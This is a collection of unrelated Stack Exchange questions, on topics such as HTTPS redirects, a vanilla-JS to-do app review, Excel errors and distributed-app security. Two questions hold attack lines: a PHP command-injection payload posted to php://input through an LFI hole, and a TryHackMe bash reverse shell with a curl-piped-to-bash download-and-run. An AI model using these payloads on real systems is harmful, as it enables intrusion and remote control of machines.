tls – Should I redirect http request to https from my system’s application or from DNS or other?

I want to create a web server that does redirects HTTP to HTTPS. What is the simplest method to do this but also secure? Should the DNS handle this? (For example, Route53)

I used to do this with my app built from Node/Express but now that I am using a compiled language, I want to be able to do this by hand instead of relying on a framework.

If I configure DNS to redirect http to https, is that more secure than the server program? (My thinking here is that since the server never sent a response, the potential attacker’s req never arrived and thus has no message to receive.)

Would it matter which DNS does this? (For example, if you purchased your domain from domain.com but your server is on AWS linked through Route53?)

architecture – Architecting basket in high scale distributed application

I’m designing an e-commerce application. Main flow is pretty straightforward: customer add items to basket, checkouts the basket (place an order) and waits for delivery.

There are following requirements:

  • basket is kept on backend
  • system should handle +5M baskets/orders per day

I know there are is no single answer, but I’m looking for some comments/inspiration how to design the basket & order module(s). I see following options:

  1. basket and order are separate services, and basket sends to order an ID of a basket to checkout, then orders calls basket for a basket details

1A) API call based communication

1B) async message based communication

  1. basket and order are separate services, and basket sends to order a full basket details

2A) API call based communication

2B) async message based communication

  1. basket and order is a same service, and checked-out basket is becomes an order (it is same entity, just presented to user as basket or order, depending on its state)

web application – LFI php://input returning initial argument?

TLDR: Trying to execute commands on site thats got a LFI vuln.

So I am making my post request to my vulnerable site and

import requests
header = {
            'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201',
            'Accept-Language':'en-US;',
            'Accept-Encoding': 'gzip, deflate',
            'Accept': 'text/html,application/xhtml+xml,application/xml;',
            'Connection':'close'
}

command = "<? system("echo does this work");?>"
requests.post("https://www.vulnsite.com/pog=php://input", headers=header, data=command)

then if i look at the actual response it returns:
<? system("echo does this work");?>

why isn’t it returning “does this work”? how can I get it to execute actual commands? what am I doing wrong?

tls – What are the risks of a client application not verifying the server’s certificate in an internal network?

Suppose the following:

  • I have a domain controller (DC) in my corporate network (ACME.local). The domain controller has a self-signed/internally generated certificate, obtained through ACME’s PKI.

  • I have an application installed on a Windows machine, also in the ACME internal network. The machine has the ACME root certs installed on it.

  • The application needs to speak to the ACME DC, however the application does not use the Windows cert store. It has its own cert store but won’t accept self-signed certs.

  • The application will therefore fail to establish a secure connection with the DC via LDAPS because it’ll reject the self-signed cert the DC presents to the application.

  • The application does however provide an option to “disable server certificate verification” when connecting to the DC. Now, the application is able to successfully connect to the DC and perform read-only queries.

In this scenario, how big a risk is there when an application communicates via LDAPS to a DC without actually verifying the DC’s certificate?

Of course, such a set-up does somewhat negate the ‘S’ in LDAPS but if this is all in an internal network, and all DC interaction is read-only querying, is my security sin partially absolvable?

terminology – Component used for themes or customization at the top of the application

I noticed recently an interesting feature in the Microsoft Office 365 applications that seemed subtle but piqued my interest.

enter image description here

It sits at the top right of the application window as a wispy cloud like effect, which made me wonder if it was a theming element or just a stylistic inclusion that improved the design aesthetics.

I haven’t really noticed other applications that introduces theming or style elements in this particular section of the application interface, because it does overlap with some of the clickable icons/features and does not have a distinction area that it is applied to.

I am wondering if there are other instances of this type of theming or styling used in common or popular applications? And how is it referred to (i.e. is there a name for it)?

adb – Clean camera application without on-screen controls

I use ADB to stream my phone screen to my laptop over USB. I would like to extend this method to stream the camera output to my laptop. To do that, I connect my phone over ADB, start screencast, and open the camera app. I get the camera output on my laptop with no issues, but I also see the on-screen buttons such as shutter, settings, gallery etc. I tried magnifying glass and mirror apps but all the apps I checked do have the controls. So, the question is – Is there a camera app for Android that does not show on-screen controls? Alternatively, is there a FOSS app that can stream camera output to laptop (preferably, Linux or Mac) over ADB? Thanks!

P.S.: I tried IP webcam applications but unlike ADB they all have significant delay.

javascript – Vanilla JS Complex TO DO List application

Hello I’ve created to do app with some additional functionality.

Since I am new in JS I would love some feedback if you guys could point out some obvious mistakes/good practices/better solutions or implementations I will be grateful.

HTML

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <link rel="stylesheet" href="style/main.css" />
    <title>To do app</title>
  </head>
  <body>
    <div class="container">
      <div class="banner">
        <h2>Welcome</h2>
        <div class="timestamp">
          <div class="timestamp__time">12:20</div>
          <div class="timestamp__date">Tuesday, 5 January</div>
        </div>
      </div>
      <div class="sidebar">
        <h3>Your lists</h3>
        <div class="lists">
          <div class="list active">
            <svg class="list__icon">
              <use xlink:href="img/icons/sprite.svg#icon-bookmark"></use>
            </svg>
            <input class="list__title" value="Important" readonly />
            <div class="list__options">
              <div class="option"></div>
              <div class="option"></div>
            </div>
          </div>
          <div class="list">
            <svg class="list__icon">
              <use xlink:href="img/icons/sprite.svg#icon-light-bulb"></use>
            </svg>
            <input class="list__title" value="Ideas" readonly />
            <div class="list__options">
              <div class="option"></div>
              <div class="option"></div>
            </div>
          </div>
          <div class="list">
            <svg class="list__icon">
              <use xlink:href="img/icons/sprite.svg#icon-shopping-basket"></use>
            </svg>
            <input class="list__title" value="Groceries" readonly />
            <div class="list__options">
              <div class="option"></div>
              <div class="option"></div>
            </div>
          </div>
        </div>
        <div class="add-list-container">
          <div class="add-list">
            <img src="https://codereview.stackexchange.com/img/plus.svg" alt="plus sign" />
            <p>New list</p>
          </div>
        </div>
      </div>
      <main class="main-section">
        <div class="main">
          <div class="todo show" id="Important">
            <div class="item">
              <div class="item__wrapper">
                <div class="item__check item__check--done">
                  <img src="img/checkmark.svg" alt="checkmark" />
                </div>
                <input class="item__title item__title--done" value="Walk the dog" readonly />
              </div>
              <div class="item__options hide">
                <img src="img/pen.svg" alt="pen" class="item-rename" />
                <img src="img/trash.svg" alt="trash" class="item-delete" />
              </div>
            </div>
            <div class="item">
              <div class="item__wrapper">
                <div class="item__check">
                  <img src="img/checkmark.svg" alt="checkmark" />
                </div>
                <input class="item__title" value="Finish essay" readonly />
              </div>
              <div class="item__options hide">
                <img src="img/pen.svg" alt="pen" class="item-rename" />
                <img src="img/trash.svg" alt="trash" class="item-delete" />
              </div>
            </div>
          </div>
          <div class="todo" id="Ideas">
            <div class="item">
              <div class="item__wrapper">
                <div class="item__check">
                  <img src="img/checkmark.svg" alt="checkmark" />
                </div>
                <input class="item__title" value="Weight loss tracker" readonly />
              </div>
              <div class="item__options hide">
                <img src="img/pen.svg" alt="pen" class="item-rename" />
                <img src="img/trash.svg" alt="trash" class="item-delete" />
              </div>
            </div>
            <div class="item">
              <div class="item__wrapper">
                <div class="item__check">
                  <img src="img/checkmark.svg" alt="checkmark" />
                </div>
                <input class="item__title" value="Meal planning" readonly />
              </div>
              <div class="item__options hide">
                <img src="img/pen.svg" alt="pen" class="item-rename" />
                <img src="img/trash.svg" alt="trash" class="item-delete" />
              </div>
            </div>
          </div>
          <div class="todo" id="Groceries">
            <div class="item">
              <div class="item__wrapper">
                <div class="item__check">
                  <img src="img/checkmark.svg" alt="checkmark" />
                </div>
                <input class="item__title" value="Milk" readonly />
              </div>
              <div class="item__options hide">
                <img src="img/pen.svg" alt="pen" class="item-rename" />
                <img src="img/trash.svg" alt="trash" class="item-delete" />
              </div>
            </div>
            <div class="item">
              <div class="item__wrapper">
                <div class="item__check">
                  <img src="img/checkmark.svg" alt="checkmark" />
                </div>
                <input class="item__title" value="Broccoli" readonly />
              </div>
              <div class="item__options hide">
                <img src="img/pen.svg" alt="pen" class="item-rename" />
                <img src="img/trash.svg" alt="trash" class="item-delete" />
              </div>
            </div>
          </div>
        </div>
        <div class="add-item">
          <img src="https://codereview.stackexchange.com/img/plus.svg" alt="plus sign" />
          <p>New item</p>
        </div>
      </main>
    </div>

    <script src="script.js"></script>
  </body>
</html>

CSS (generated by SAS)

@import url("https://fonts.googleapis.com/css2?family=Quicksand:wght@300;400;500;600&display=swap");
*,
*::after,
*::before {
  margin: 0;
  padding: 0;
  text-decoration: none;
  -webkit-box-sizing: border-box;
          box-sizing: border-box;
  font-family: 'Quicksand', sans-serif;
}

html {
  font-size: 62.5%;
}

body {
  height: 100vh;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: center;
      -ms-flex-pack: center;
          justify-content: center;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
}

.container {
  display: -ms-grid;
  display: grid;
  width: 100%;
  height: 100%;
      grid-template-areas: 'banner banner banner'
 'sidebar main main'
 'sidebar main main';
  -ms-grid-columns: 35rem 1fr 1fr;
      grid-template-columns: 35rem 1fr 1fr;
  -ms-grid-rows: 23rem 1fr 1fr;
      grid-template-rows: 23rem 1fr 1fr;
}

.container .main-section {
  -ms-grid-row: 2;
  -ms-grid-row-span: 2;
  -ms-grid-column: 2;
  -ms-grid-column-span: 2;
  grid-area: main;
}

.banner {
  background-image: url(../img/banner.svg);
  background-repeat: no-repeat;
  background-size: cover;
  background-position: bottom;
  -ms-grid-row: 1;
  -ms-grid-column: 1;
  -ms-grid-column-span: 3;
  grid-area: banner;
  color: #fff;
  padding: 3rem 5rem;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
      -ms-flex-direction: column;
          flex-direction: column;
  -webkit-box-pack: justify;
      -ms-flex-pack: justify;
          justify-content: space-between;
}

.banner .timestamp__time {
  font-size: 7rem;
  font-weight: 300;
}

.banner .timestamp__date {
  font-weight: 500;
  font-size: 2rem;
}

.banner h2 {
  font-size: 3rem;
  font-weight: 600;
}

.sidebar {
  background-color: #f5f5f5;
  -ms-grid-row: 2;
  -ms-grid-row-span: 2;
  -ms-grid-column: 1;
  grid-area: sidebar;
}

.sidebar h3 {
  margin-bottom: 4rem;
  margin-top: 5rem;
  font-size: 2.5rem;
  font-weight: 600;
  padding: 0 5rem;
}

.sidebar .list {
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: (1fr)(3);
      grid-template-columns: repeat(3, 1fr);
  padding: 2rem 5rem;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  position: relative;
}

.sidebar .list__icon {
  width: 2.2rem;
  height: 2.2rem;
  fill: currentColor;
}

.sidebar .list:hover {
  background-color: #fff;
  cursor: pointer;
}

.sidebar .list__title {
  font-size: 2rem;
  margin-left: 0.5rem;
  background: none;
  border: none;
  color: #000;
  outline: none;
  display: inline-block;
  cursor: pointer;
}

.sidebar .list .icon-modal {
  border-radius: 3px;
  padding: 3rem;
  margin-left: 5rem;
  position: absolute;
  background-color: #fff;
  bottom: 100%;
  width: 100%;
}

.sidebar .list .icon-modal > * {
  margin: 0.7rem;
  fill: black;
  cursor: pointer;
}

.sidebar .list .icon-modal::after {
  position: absolute;
  content: '';
  left: 0;
  top: 100%;
  width: 0;
  height: 0;
  border-left: 10px solid transparent;
  border-right: 10px solid transparent;
  border-top: 15px solid #fff;
}

.sidebar .list__options {
  position: relative;
  padding: 0.5rem;
}

.sidebar .list__options .list-modal {
  position: absolute;
  background-color: white;
  color: black;
  bottom: 100%;
  left: 50%;
  -webkit-transform: translateX(-50%);
          transform: translateX(-50%);
  width: 10rem;
  font-weight: 600;
  font-size: 1.2rem;
  margin-bottom: 1rem;
}

.sidebar .list__options .list-modal p {
  padding: 0.5rem 1rem;
}

.sidebar .list__options .list-modal p:hover {
  cursor: pointer;
  background-color: #ff3366;
  color: #fff;
}

.sidebar .list .icon-modal-close {
  width: 2rem;
  height: 2rem;
  position: absolute;
  top: 5px;
  right: 5px;
}

.sidebar .list .option {
  background-color: black;
  width: 0.6rem;
  border-radius: 50%;
  height: 0.6rem;
}

.sidebar .list .option:first-child {
  margin-bottom: 0.6rem;
}

.sidebar .add-list-container {
  padding: 2rem 5rem;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  font-size: 2rem;
}

.sidebar .add-list-container .add-list {
  cursor: pointer;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  -ms-flex-item-align: start;
      align-self: flex-start;
}

.sidebar .add-list-container .add-list img {
  width: 3rem;
}

.todo {
  font-size: 5rem;
  display: none;
}

.item {
  padding: 3rem 5rem;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-shadow: 0 2px 2px -2px gray;
          box-shadow: 0 2px 2px -2px gray;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  -webkit-box-pack: justify;
      -ms-flex-pack: justify;
          justify-content: space-between;
}

.item__wrapper {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
}

.item__check {
  width: 2.5rem;
  height: 2.5rem;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  -webkit-box-pack: center;
      -ms-flex-pack: center;
          justify-content: center;
  border-radius: 50%;
  border: 1px solid black;
  cursor: pointer;
}

.item__check--done {
  background-color: #40d628;
  border: none;
}

.item__check img {
  width: 1.5rem;
  height: 1.5rem;
}

.item__title {
  font-size: 2rem;
  margin-left: 1rem;
  background: none;
  border: none;
  color: #000;
  outline: none;
  display: inline-block;
}

.item__title--done {
  text-decoration: line-through;
}

.item__options {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
}

.item__options img {
  cursor: pointer;
  width: 2.5rem;
  height: 2.5rem;
}

.item__options img:not(:first-child) {
  margin-left: 2rem;
}

.add-item {
  padding: 3rem 5rem;
  -webkit-box-shadow: 0 2px 2px -2px gray;
          box-shadow: 0 2px 2px -2px gray;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  font-size: 2rem;
  cursor: pointer;
}

.add-item img {
  width: 3rem;
}

.active {
  background-color: #ff3366;
  color: #fff;
}

.active .list__title {
  color: white !important;
  cursor: auto;
}

.active .list__icon {
  fill: currentColor;
}

.active:hover {
  background-color: #ff3366 !important;
  cursor: auto !important;
}

.active .option {
  background-color: white !important;
}

.show {
  display: block;
}

.hide {
  display: none !important;
}
/*# sourceMappingURL=main.css.map */

JS

'use strict';

// #######################################
// DATE & TIME

const timeBox = document.querySelector('.timestamp__time');
const dateBox = document.querySelector('.timestamp__date');

let now, hours, minutes;
const clock = () => {
  now = new Date();
  hours = now.getHours();
  minutes = now.getMinutes();

  hours < 10 ? (hours = `0${hours}`) : hours;
  minutes < 10 ? (minutes = `0${minutes}`) : minutes;

  timeBox.textContent = `${hours}:${minutes}`;
};
setInterval(clock, 1000);

const setDate = () => {
  now = new Date();
  let weekDays = ('Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday');
  let months = ('January', 'February', 'March', 'April', 'May', 'Juny', 'July', 'August', 'September', 'October', 'November', 'December');

  // now.getDay() - returns 0-6
  let weekDay = weekDays(now.getDay());
  let day = now.getDate();
  let month = months(now.getMonth());

  dateBox.textContent = `${weekDay}, ${day} ${month}`;
};

setDate();

// #######################################
// SWITCHING BETWEEN LISTS
const listsContainer = document.querySelector('.lists');
let lists = document.querySelectorAll('.list');
let activeList = lists(0);

// Add eventListener to lists
const setUpListsListeners = () => {
  lists = document.querySelectorAll('.list');

  for (let i = 0; i < lists.length; i++) {
    lists(i).addEventListener('click', () => {
      if (!lists(i)) return;
      if (!lists(i).classList.contains('active')) switchList(lists(i)); // listener only for non active lists
    });
  }
};
// call to setUp 3 primary lists
setUpListsListeners();

const switchList = (list) => {
  if (typeof activeList !== 'undefined') {
    // for more than 1 list
    // 'turn off' active list
    activeList.classList.toggle('active');
    document.querySelector(`#${activeList.children(1).value}`).classList.toggle('show');
  }
  // switch list by 'turning on' list from param
  activeList = list;
  activeList.classList.toggle('active');
  document.querySelector(`#${activeList.children(1).value}`).classList.toggle('show'); // display to'do items for this list
};

// #######################################
// MODAL

// parent in this case is a list in which we click settings - prevents opening multiple modals
let optionsParent;

const openModal = (parent) => {
  // create 3 different elements for each event - icon change, rename, delete
  const modal = document.createElement('div');
  modal.className = 'list-modal';

  const rename = document.createElement('p');
  rename.className = 'rename';
  rename.textContent = 'Rename';
  modal.appendChild(rename);

  const changeIcon = document.createElement('p');
  changeIcon.className = 'change-icon';
  changeIcon.textContent = 'Change icon';
  modal.appendChild(changeIcon);

  const deleteList = document.createElement('p');
  deleteList.className = 'delete';
  deleteList.textContent = 'Delete';
  modal.appendChild(deleteList);

  parent.appendChild(modal);
  optionsParent = parent;
  activateModalButtons();
};

const closeModal = (parent) => {
  const modal = document.querySelector('.list-modal');
  if (!modal) return;
  parent.removeChild(modal);
  optionsParent = false;
};

// function that checks if we click in either option circular icon or it's container
// if it's already opened and we click outside it - closeModal()
// if yes then openModal()
window.addEventListener('click', function (e) {
  if (optionsParent) closeModal(optionsParent);
  if (e.target.classList.contains('list__options')) openModal(e.target);
  if (e.target.classList.contains('option')) openModal(e.target);
});

// #######################################
// MODAL - RENAME, CHANGE ICON & DELETE

const activateModalButtons = () => {
  const renameBtn = document.querySelector('.rename');
  const deleteBtn = document.querySelector('.delete');
  const changeIconBtn = document.querySelector('.change-icon');

  const currentList = activeList.children(1);

  renameBtn.addEventListener('click', () => {
    renameList(currentList);
  });

  deleteBtn.addEventListener('click', (e) => {
    e.stopPropagation();

    // remove lists on which we click delete button
    listsContainer.removeChild(activeList);
    document.querySelector(`#${activeList.children(1).value}`).classList.add('hide');
    lists = document.querySelectorAll('.list');

    // activate first list
    activeList = lists(0);
    if (!activeList) return; // return when there is no more lists
    activeList.classList.toggle('active');
    document.querySelector(`#${activeList.children(1).value}`).classList.toggle('show');

    // refresh listeners for lists
    setUpListsListeners();
  });

  changeIconBtn.addEventListener('click', (e) => {
    e.stopPropagation();
    openIconModal(activeList);
  });
};

// icon change
const openIconModal = (parent) => {
  const iconModal = document.createElement('div');
  iconModal.className = 'icon-modal';

  iconModal.innerHTML = `
  <svg class="list__icon" id="icon-shopping-basket">
    <use xlink:href="img/icons/sprite.svg#icon-shopping-basket"></use>
  </svg>

  <svg class="list__icon" id="icon-bookmark">
    <use xlink:href="img/icons/sprite.svg#icon-bookmark"></use>
  </svg> 

  <svg class="list__icon" id="icon-beamed-note">
    <use xlink:href="img/icons/sprite.svg#icon-beamed-note"></use>
  </svg>

  <svg class="list__icon" id="icon-bowl">
    <use xlink:href="img/icons/sprite.svg#icon-bowl"></use>
  </svg>

  <svg class="list__icon" id="icon-clipboard">
    <use xlink:href="img/icons/sprite.svg#icon-clipboard"></use>
  </svg>

  <svg class="list__icon" id="icon-credit-card">
    <use xlink:href="img/icons/sprite.svg#icon-credit-card"></use>
  </svg>

  <svg class="list__icon" id="icon-globe">
    <use xlink:href="img/icons/sprite.svg#icon-globe"></use>
  </svg>

  <svg class="list__icon" id="icon-heart">
    <use xlink:href="img/icons/sprite.svg#icon-heart"></use>
  </svg>

  <svg class="list__icon" id="icon-home">
    <use xlink:href="img/icons/sprite.svg#icon-home"></use>
  </svg>

  <svg class="list__icon" id="icon-hour-glass">
    <use xlink:href="img/icons/sprite.svg#icon-hour-glass"></use>
  </svg>

  <svg class="list__icon" id="icon-laptop">
    <use xlink:href="img/icons/sprite.svg#icon-laptop"></use>
  </svg>

  <svg class="list__icon" id="icon-light-bulb">
    <use xlink:href="img/icons/sprite.svg#icon-light-bulb"></use>
  </svg>

  <svg class="list__icon" id="icon-location-pin">
    <use xlink:href="img/icons/sprite.svg#icon-location-pin"></use>
  </svg>

  <svg class="list__icon" id="icon-thumbs-up">
    <use xlink:href="img/icons/sprite.svg#icon-thumbs-up"></use>
  </svg>

  <svg class="list__icon" id="icon-suitcase">
    <use xlink:href="img/icons/sprite.svg#icon-suitcase"></use>
  </svg>

  <svg class="list__icon" id="icon-mail">
    <use xlink:href="img/icons/sprite.svg#icon-mail"></use>
  </svg>

  <img src="https://codereview.stackexchange.com/img/close.svg" class="icon-modal-close">
  `;

  parent.appendChild(iconModal);

  const iconModalCloseBtn = document.querySelector('.icon-modal-close');
  let isModal = true;
  iconModalCloseBtn.addEventListener('click', (e) => {
    e.stopPropagation();
    isModal = false;
    parent.removeChild(iconModal);
  });

  window.addEventListener('click', () => {
    if (isModal) {
      parent.removeChild(iconModal);
      isModal = false;
    }
  });

  const listIcons = document.querySelectorAll('.list__icon');
  for (const icon of listIcons) {
    icon.addEventListener('click', () => {
      activeList.children(0).children(0).setAttributeNS('http://www.w3.org/1999/xlink', 'href', `img/icons/sprite.svg#${icon.id}`);
    });
  }
};

const renameList = (currentList) => {
  // place cursor in list name (focus input)
  currentList.readOnly = false;
  setCaretPosition(currentList, currentList.value.length);

  // rename it on either enter key or blur
  const tmpName = currentList.value;
  currentList.addEventListener('blur', () => {
    if (!document.querySelector(`#${tmpName}`)) return; // prevent executing both events
    currentList.readOnly = true;
    document.querySelector(`#${tmpName}`).id = currentList.value;
  });

  currentList.addEventListener('keyup', () => {
    if (event.keyCode === 13) {
      if (!document.querySelector(`#${tmpName}`)) return;
      currentList.readOnly = true;
      document.querySelector(`#${tmpName}`).id = currentList.value;
    }
  });
};

// #######################################
// ADD NEW LIST

const addListBtn = document.querySelector('.add-list');
const main = document.querySelector('.main');
let newListsNumber = 1;
addListBtn.addEventListener('click', () => {
  // create new list
  const newList = document.createElement('div');
  newList.className = 'list';

  newList.innerHTML = `
  <svg class="list__icon">
    <use xlink:href="img/icons/sprite.svg#icon-clipboard"></use>
  </svg>  
  <input class="list__title" value="New-${newListsNumber}" readonly />
  <div class="list__options">
    <div class="option"></div>
    <div class="option"></div>
  </div>`;

  listsContainer.appendChild(newList);

  // create new item for current list
  const newTodo = document.createElement('div');
  newTodo.className = 'todo';
  newTodo.id = newList.children(1).value;

  main.appendChild(newTodo);

  setUpListsListeners();
  renameList(newList.children(1));
  newListsNumber++;
});

// #######################################
// ITEMS - DISPLAY TRASH AND RENAME ICON ON HOVER
let currentItem;

const setUpItems = () => {
  const items = document.querySelectorAll('.item');

  for (const item of items) {
    item.addEventListener('mouseover', () => {
      item.children(1).classList.remove('hide');
      currentItem = item;
    });
    item.addEventListener('mouseout', () => {
      item.children(1).classList.add('hide');
    });
  }

  // RENAME BUTTONS
  const renameItemButtons = document.querySelectorAll('.item-rename');
  for (const renameBtn of renameItemButtons) {
    renameBtn.addEventListener('click', () => {
      const itemName = currentItem.children(0).children(1);
      if (itemName.classList.contains('item__title--done')) return;
      renameItem(itemName);
    });
  }

  // DELETE BUTTONS
  const deleteItemButtons = document.querySelectorAll('.item-delete');
  for (const deleteBtn of deleteItemButtons) {
    deleteBtn.addEventListener('click', () => {
      currentItem.remove();
    });
  }
};

// #######################################
// MARK AS DONE

// for default items
const checkBoxes = document.querySelectorAll('.item__check');

for (const checkBox of checkBoxes) {
  checkBox.addEventListener('click', () => {
    checkBox.classList.toggle('item__check--done');
    currentItem.children(0).children(1).classList.toggle('item__title--done');
  });
}

// for new items
const markAsDoneAddListener = () => {
  currentItem.children(0).children(0).classList.toggle('item__check--done');
  currentItem.children(0).children(1).classList.toggle('item__title--done');
};

setUpItems();

// #######################################
// ADD ITEM
const addItemBtn = document.querySelector('.add-item');

addItemBtn.addEventListener('click', () => {
  const itemParent = document.querySelector(`#${activeList.children(1).value}`);

  const newItem = document.createElement('div');
  newItem.className = 'item';

  newItem.innerHTML = `
  <div class="item__wrapper">
  <div class="item__check" onClick="markAsDoneAddListener()">
    <img src="img/checkmark.svg" alt="checkmark" />
  </div>
  <input class="item__title" value="New item" readonly />
  </div>
  <div class="item__options hide">
    <img src="img/pen.svg" alt="pen" class="item-rename"/>
    <img src="img/trash.svg" alt="trash" class="item-delete" />
  </div>`;

  itemParent.appendChild(newItem);

  setUpItems();
  renameItem(newItem.children(0).children(1));
});

// #######################################
// RENAME ITEM
const renameItem = (itemName) => {
  // place cursor in list name (focus input)
  itemName.readOnly = false;
  setCaretPosition(itemName, itemName.value.length);

  // rename it on either enter key or blur
  const tmpName = itemName.value;
  itemName.addEventListener('blur', () => {
    if (!document.querySelector(`#${tmpName}`)) return; // prevent executing both events
    itemName.readOnly = true;
    document.querySelector(`#${tmpName}`).id = itemName.value;
  });

  itemName.addEventListener('keyup', () => {
    if (event.keyCode === 13) {
      if (!document.querySelector(`#${tmpName}`)) return;
      itemName.readOnly = true;
      document.querySelector(`#${tmpName}`).id = itemName.value;
    }
  });
};

// #######################################
// SET CURSOR INSIDE INPUT
function setCaretPosition(ctrl, pos) {
  // Modern browsers
  if (ctrl.setSelectionRange) {
    ctrl.focus();
    ctrl.setSelectionRange(pos, pos);

    // IE8 and below
  } else if (ctrl.createTextRange) {
    var range = ctrl.createTextRange();
    range.collapse(true);
    range.moveEnd('character', pos);
    range.moveStart('character', pos);
    range.select();
  }
}

ms office – Microsoft Excel on Mac Error VBA Run-Time 1004 on Application Open – Endless Loop – Cannot Use Excel

When Excel is opened – no matter the document – there is a run-time error as shown in the picture belowClick The Link

clicking on End does nothing but brings up the same error window again, causing a loop that causes Excel to not be usable. Please advise. Thanks! This is Excel on Mac. I tried re-installing already.

web application – Why a curl piped bash command works but not the direct command?

So im doing some pentesting in a TryHackme box (Chill Hack) and I’ve come to some trouble. In this box I have available an input in a website where I can inject commands to the vulnerable system.

This input has filters so I cannot use bash nor netcat without escaping the command characters.

Messing around I tried getting a reverse shell by using that input with netcat, of course escaped so the command should work.

The problem is the direct command does not work. Checking the walkthrough I’ve seen that the solution is to prepare a Bash shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), set up a web server and curl my attacking machine in order to pipe it to the bash command (Something like this: curl 10.9.223.50/shell.sh | bash)

Doing so provides me with a webshell.

The thing I don’t understand is, why using the exact same command (The bash shell) in the input and escaping characters for avoiding any problem with that the command does not work but it does work when piping through the curl command?

design – How to protect an open-sourse distributed application consisting of clients and servers from forks made by hackers?

TL;DR: How distributed open-source apps like Scuttlebutt are secured from DoS and hackers who can make custom version of application?

I’m struggle with designing an open-source distributed application architecture. I want to create an application consisting of open source server, client, and provider. Client sends requests to one random provider instance that have list of all instances both client and server, and sends it to one of the random server, which, after processing the information, sends a result request back to the client. Every part of this distributed app is open-source, so everyone can create their own instance of client, provider, server, and everything seems to be fine, but what if some programmers will have bad intentions, and they will change client code in the way, that it will send millions of requests (DoS attack) to the specific, not random provider, or change providers with, so it will send all requests to one specific server? Also they can change server code, so if client expects to get a specific picture from server database, hacker will send some inappropriate pictures to all avaible clients.

If I hardcode some kind of verification, like hashing of important functions of API, then hacker will just remove this in his own fork. Therefore, I cannot solve this problem in any way, except by making the code of one of the parts private. For example I can make provider application with private code, so it will check hash of both client and server, and if this check fails – provider will delete this instance from list of instances. This solution sounds good, but in this case, the whole project will no longer be open source.

Summarize: I want to create an open source distributed application, so everyone can make their own instance, improve it, add new functionality, but how can I secure it, so this ability to create custom versions should not be misused for DoS, sniffing, or information corruption in conjunction with all many different versions working together.

I don’t quite familiar with this topic, so I’ll be glad if you can give me advice, a link to an article on a similar topic, or a book.